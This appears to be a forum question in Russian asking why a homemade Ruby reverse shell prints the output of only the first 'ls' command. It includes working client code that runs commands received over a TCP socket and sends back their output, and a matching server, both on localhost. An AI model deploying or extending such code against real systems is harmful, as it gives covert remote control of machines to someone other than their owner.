Моя обратная оболочка будет печатать только вывод команды "ls" в первый раз, как я могу сделать так, чтобы она печаталась на сервере столько раз, сколько я хочу?
require 'socket'
require 'open3'
def createClient(hostname, port)
s = TCPSocket.new hostname, port
while line = s.gets
if line == "exit"
s.close
end
stdin, stdout, stderr, wait_thr = Open3.popen3(line)
s.puts("#{stdout.read}")
end
end
createClient("127.0.0.1", 9090)
require 'socket'
def createServer(hostname, port)
server = TCPServer.new(hostname, port)
client = server.accept
loop do
message = gets.chomp
if message == "exit"
break
end
client.puts(message)
while line = client.gets
puts line
end
end
client.close
end
createServer("127.0.0.1", 9090)
Я ожидал, что сервер напечатает все команды ls, обработанные клиентом, но он напечатал только первую.